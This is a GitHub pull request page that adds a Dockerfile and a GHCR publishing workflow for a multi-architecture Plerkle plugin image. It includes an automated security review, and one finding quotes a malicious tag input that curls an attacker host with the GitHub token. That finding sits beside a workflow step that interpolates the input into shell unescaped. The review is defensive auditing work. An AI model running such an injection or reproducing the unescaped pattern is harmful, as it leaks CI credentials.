Skip to content

Add multi-arch Plerkle plugin image - #104

Open
nhanphan wants to merge 1 commit into
mainfrom
codex/plerkle-plugin-multiarch
Open

Add multi-arch Plerkle plugin image#104
nhanphan wants to merge 1 commit into
mainfrom
codex/plerkle-plugin-multiarch

Conversation

@nhanphan

Copy link
Copy Markdown

Summary

  • add a PlerklePlugin.Dockerfile that exports /plugin/plugin.so only
  • add a GHCR publish workflow for ghcr.io/metaplex-foundation/plerkle-plugin:-rust1.89.0-agave3.1.13
  • build and verify linux/amd64 and linux/arm64 manifests plus plugin artifact presence

Validation

  • git diff --check

Rollout

After merge, run the new Publish Plerkle plugin image workflow for tag v3.0.1 before building the DAS Surfpool validator image.

@coderabbitai

coderabbitai Bot commented May 21, 2026

Copy link
Copy Markdown

Review Change Stack

Summary by CodeRabbit

  • Chores
    • Automated Docker image builds and publishing to container registry with multi-architecture support (amd64/arm64) triggered on version tags.

Walkthrough

This PR introduces container image build and release infrastructure for the Plerkle plugin. A new Dockerfile defines a multi-stage build that compiles the Rust plerkle package and packages the resulting shared library artifact. A GitHub Actions workflow orchestrates multi-architecture image builds for amd64 and arm64, handles GHCR authentication and push, and verifies both platform variants execute correctly.

Changes

Plerkle Plugin Container Release Pipeline

Layer / File(s) Summary
Container image build definition and release workflow
PlerklePlugin.Dockerfile, .github/workflows/publish-plerkle-plugin.yml
Dockerfile defines a Rust bullseye builder stage that compiles plerkle and a bullseye-slim runtime stage containing only the compiled /plugin/plugin.so with OCI metadata. Workflow triggers on version tags or manual dispatch, resolves the release tag and derived Solana version, builds multi-architecture images via Docker Buildx with parameterized RUST_VERSION, authenticates to GHCR, pushes the image with source/revision/version labels, and verifies the resulting image manifest includes both amd64 and arm64 platforms with passing test entrypoints.

Estimated code review effort

🎯 2 (Simple) | ⏱️ ~10 minutes

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly and concisely summarizes the main change: adding a multi-architecture Plerkle plugin Docker image with build and publish workflows.
Description check ✅ Passed The description covers all key aspects: what was added (Dockerfile and workflow), what it builds (multi-arch images), and includes validation steps and rollout instructions.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch codex/plerkle-plugin-multiarch

Comment @coderabbitai help to get the list of available commands and usage tips.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/publish-plerkle-plugin.yml:
- Around line 42-44: Set persist-credentials: false on the actions/checkout step
and replace the tag pins with specific commit SHAs for actions referenced in
this workflow (e.g., actions/checkout@v4 → actions/checkout@<commit-sha>),
ensuring you update every occurrence (including setup-qemu-action@v3,
setup-buildx-action@v3, login-action@v3, build-push-action@v6) so tags are not
used; keep the existing ref: ${{ steps.resolve.outputs.ci_tag }} behavior but
add persist-credentials: false to the checkout step and substitute tag
references with their respective commit SHAs to prevent credential persistence
and tag-rewrite attacks.
- Around line 29-40: The run block currently interpolates ${{ inputs.tag }}
directly into the shell (assigning to tag) allowing shell injection; instead
expose the input as a GitHub Actions environment variable (e.g., CI_TAG from
inputs.tag) and in the script read that env var into a shell variable with
proper quoting (tag="$CI_TAG"), then use the quoted tag variable when writing CI
outputs and PLERKLE_PLUGIN_TAG/PLERKLE_PLUGIN_IMAGE; update references to use
the quoted tag and avoid direct ${{ inputs.tag }} expansions inside the run
script while preserving GITHUB_EVENT_NAME, tag, PLERKLE_PLUGIN_TAG and
PLERKLE_PLUGIN_IMAGE semantics.
- Around line 3-12: Add a top-level GitHub Actions concurrency block to the
workflow that prevents parallel runs for the same release tag: in the existing
workflow triggered by on: push (tags: ["v*"]) and workflow_dispatch (inputs.tag)
add a concurrency configuration using a unique group such as
"publish-plerkle-plugin-${{ github.ref }}" or "publish-plerkle-plugin-${{
github.event.inputs.tag || github.ref }}" and set cancel-in-progress: true so
concurrent runs for the same tag are serialized and newer manual dispatches
cancel in-progress builds.

In `@PlerklePlugin.Dockerfile`:
- Around line 27-33: Add a non-root user and switch to it in the Dockerfile to
harden the image: create a group and user (e.g., via RUN groupadd -r plerkle &&
useradd -r -g plerkle -d /plugin -s /sbin/nologin plerkle), ensure /plugin is
owned by that user (chown -R plerkle:plerkle /plugin) and then add a USER
plerkle line after copying the artifact; keep the existing FROM and COPY
instructions but make sure the COPY either preserves ownership or is followed by
a chown so the new unprivileged user can read the plugin.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: b2deb454-ea4f-4862-833b-08522cd3b6ed

📥 Commits

Reviewing files that changed from the base of the PR and between ae68c6d and 0b4ec2c.

📒 Files selected for processing (2)
  • .github/workflows/publish-plerkle-plugin.yml
  • PlerklePlugin.Dockerfile

Comment on lines +3 to +12
on:
push:
tags:
- "v*"
workflow_dispatch:
inputs:
tag:
description: "Release tag to publish, for example v3.0.1"
required: true
type: string

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick | 🔵 Trivial | ⚡ Quick win

Consider adding concurrency controls to prevent parallel builds.

Without concurrency limits, multiple simultaneous triggers (e.g., manual dispatch while a tag push is running) could result in parallel builds of the same image, wasting resources and potentially causing race conditions in GHCR.

♻️ Recommended concurrency configuration
 name: Publish Plerkle plugin image

 on:
   push:
     tags:
       - "v*"
   workflow_dispatch:
     inputs:
       tag:
         description: "Release tag to publish, for example v3.0.1"
         required: true
         type: string

+concurrency:
+  group: publish-plerkle-plugin-${{ github.event.inputs.tag || github.ref }}
+  cancel-in-progress: false
+
 env:
🧰 Tools
🪛 zizmor (1.25.2)

[warning] 3-12: insufficient job-level concurrency limits (concurrency-limits): workflow is missing concurrency setting

(concurrency-limits)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-plerkle-plugin.yml around lines 3 - 12, Add a
top-level GitHub Actions concurrency block to the workflow that prevents
parallel runs for the same release tag: in the existing workflow triggered by
on: push (tags: ["v*"]) and workflow_dispatch (inputs.tag) add a concurrency
configuration using a unique group such as "publish-plerkle-plugin-${{
github.ref }}" or "publish-plerkle-plugin-${{ github.event.inputs.tag ||
github.ref }}" and set cancel-in-progress: true so concurrent runs for the same
tag are serialized and newer manual dispatches cancel in-progress builds.

Comment on lines +29 to +40
run: |
set -euo pipefail
if [[ "${GITHUB_EVENT_NAME}" == "workflow_dispatch" ]]; then
tag="${{ inputs.tag }}"
else
tag="${GITHUB_REF#refs/tags/}"
fi
agave_version="${SOLANA_VERSION_STABLE#v}"
echo "ci_tag=${tag}" >> "$GITHUB_OUTPUT"
echo "CI_TAG=${tag}" >> "$GITHUB_ENV"
echo "PLERKLE_PLUGIN_TAG=${tag}-rust${RUST_VERSION}-agave${agave_version}" >> "$GITHUB_ENV"
echo "PLERKLE_PLUGIN_IMAGE=ghcr.io/${GITHUB_REPOSITORY_OWNER}/${PLERKLE_PLUGIN_IMAGE_NAME}" >> "$GITHUB_ENV"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Code injection vulnerability via unescaped template expansion.

Line 32 directly interpolates ${{ inputs.tag }} into a shell script without validation. An attacker with workflow_dispatch permissions could inject arbitrary shell commands via the tag input.

Example malicious input: v1.0.0"; curl attacker.com?token=$GITHUB_TOKEN #

🔒 Recommended fix using intermediate environment variable
       - name: Resolve tag
         id: resolve
+        env:
+          INPUT_TAG: ${{ inputs.tag }}
         run: |
           set -euo pipefail
           if [[ "${GITHUB_EVENT_NAME}" == "workflow_dispatch" ]]; then
-            tag="${{ inputs.tag }}"
+            tag="${INPUT_TAG}"
           else
             tag="${GITHUB_REF#refs/tags/}"
           fi
           agave_version="${SOLANA_VERSION_STABLE#v}"
           echo "ci_tag=${tag}" >> "$GITHUB_OUTPUT"
           echo "CI_TAG=${tag}" >> "$GITHUB_ENV"
           echo "PLERKLE_PLUGIN_TAG=${tag}-rust${RUST_VERSION}-agave${agave_version}" >> "$GITHUB_ENV"
           echo "PLERKLE_PLUGIN_IMAGE=ghcr.io/${GITHUB_REPOSITORY_OWNER}/${PLERKLE_PLUGIN_IMAGE_NAME}" >> "$GITHUB_ENV"

This approach passes the input through an environment variable, preventing shell interpretation of special characters.

🧰 Tools
🪛 zizmor (1.25.2)

[error] 32-32: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-plerkle-plugin.yml around lines 29 - 40, The run
block currently interpolates ${{ inputs.tag }} directly into the shell
(assigning to tag) allowing shell injection; instead expose the input as a
GitHub Actions environment variable (e.g., CI_TAG from inputs.tag) and in the
script read that env var into a shell variable with proper quoting
(tag="$CI_TAG"), then use the quoted tag variable when writing CI outputs and
PLERKLE_PLUGIN_TAG/PLERKLE_PLUGIN_IMAGE; update references to use the quoted tag
and avoid direct ${{ inputs.tag }} expansions inside the run script while
preserving GITHUB_EVENT_NAME, tag, PLERKLE_PLUGIN_TAG and PLERKLE_PLUGIN_IMAGE
semantics.

Comment on lines +42 to +44
- uses: actions/checkout@v4
with:
ref: ${{ steps.resolve.outputs.ci_tag }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick | 🔵 Trivial | ⚡ Quick win

Security hardening: Disable credential persistence and pin action to commit SHA.

Two security improvements:

  1. Setting persist-credentials: false prevents GitHub token from persisting in the checked-out repository
  2. Pinning actions to commit SHAs rather than tags prevents tag-rewrite attacks
🔒 Recommended hardening
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
           ref: ${{ steps.resolve.outputs.ci_tag }}
+          persist-credentials: false

Note: You'll need to repeat SHA pinning for all actions in this workflow (setup-qemu-action@v3, setup-buildx-action@v3, login-action@v3, build-push-action@v6).

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- uses: actions/checkout@v4
with:
ref: ${{ steps.resolve.outputs.ci_tag }}
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
ref: ${{ steps.resolve.outputs.ci_tag }}
persist-credentials: false
🧰 Tools
🪛 zizmor (1.25.2)

[warning] 42-44: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 42-42: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-plerkle-plugin.yml around lines 42 - 44, Set
persist-credentials: false on the actions/checkout step and replace the tag pins
with specific commit SHAs for actions referenced in this workflow (e.g.,
actions/checkout@v4 → actions/checkout@<commit-sha>), ensuring you update every
occurrence (including setup-qemu-action@v3, setup-buildx-action@v3,
login-action@v3, build-push-action@v6) so tags are not used; keep the existing
ref: ${{ steps.resolve.outputs.ci_tag }} behavior but add persist-credentials:
false to the checkout step and substitute tag references with their respective
commit SHAs to prevent credential persistence and tag-rewrite attacks.

Comment thread PlerklePlugin.Dockerfile
Comment on lines +27 to +33
FROM --platform=$TARGETPLATFORM debian:bullseye-slim

LABEL org.opencontainers.image.title="Plerkle Geyser Plugin"
LABEL org.opencontainers.image.description="Plerkle Geyser plugin artifact for DAS e2e validator images"
LABEL org.opencontainers.image.source="https://github.com/metaplex-foundation/digital-asset-validator-plugin"

COPY --from=builder /rust/target/release/libplerkle.so /plugin/plugin.so

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick | 🔵 Trivial | 💤 Low value

Consider adding a non-root USER for security hardening.

The container runs as root. While this is acceptable for an artifact-only container, adding a non-root user would follow security best practices and satisfy static analysis tools.

🔒 Optional hardening to add non-root user
 FROM --platform=$TARGETPLATFORM debian:bullseye-slim

 LABEL org.opencontainers.image.title="Plerkle Geyser Plugin"
 LABEL org.opencontainers.image.description="Plerkle Geyser plugin artifact for DAS e2e validator images"
 LABEL org.opencontainers.image.source="https://github.com/metaplex-foundation/digital-asset-validator-plugin"

+RUN groupadd -r plerkle && useradd -r -g plerkle plerkle \
+    && mkdir -p /plugin && chown plerkle:plerkle /plugin
+
+USER plerkle
+
 COPY --from=builder /rust/target/release/libplerkle.so /plugin/plugin.so
🧰 Tools
🪛 Checkov (3.2.529)

[low] 1-33: Ensure that HEALTHCHECK instructions have been added to container images

(CKV_DOCKER_2)


[low] 1-33: Ensure that a user for the container has been created

(CKV_DOCKER_3)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@PlerklePlugin.Dockerfile` around lines 27 - 33, Add a non-root user and
switch to it in the Dockerfile to harden the image: create a group and user
(e.g., via RUN groupadd -r plerkle && useradd -r -g plerkle -d /plugin -s
/sbin/nologin plerkle), ensure /plugin is owned by that user (chown -R
plerkle:plerkle /plugin) and then add a USER plerkle line after copying the
artifact; keep the existing FROM and COPY instructions but make sure the COPY
either preserves ownership or is followed by a chown so the new unprivileged
user can read the plugin.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant